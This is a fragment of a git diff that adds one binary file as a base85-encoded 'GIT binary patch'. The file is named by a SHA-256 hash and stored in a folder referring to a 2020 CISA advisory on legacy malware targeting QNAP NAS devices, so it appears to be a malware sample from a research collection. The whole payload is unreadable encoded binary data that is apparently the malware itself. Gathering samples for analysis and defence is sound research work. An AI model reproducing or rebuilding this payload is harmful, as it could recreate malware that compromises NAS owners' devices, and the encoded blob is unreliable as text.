+fi diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/6e0f793025537edf285c5749b3fcd83a689db0f1c697abe70561399938380f89 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/6e0f793025537edf285c5749b3fcd83a689db0f1c697abe70561399938380f89 new file mode 100644 index 0000000000000000000000000000000000000000..2aabff066a25f160d6b0a0d1727a1783d02a9c19 GIT binary patch literal 139904 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 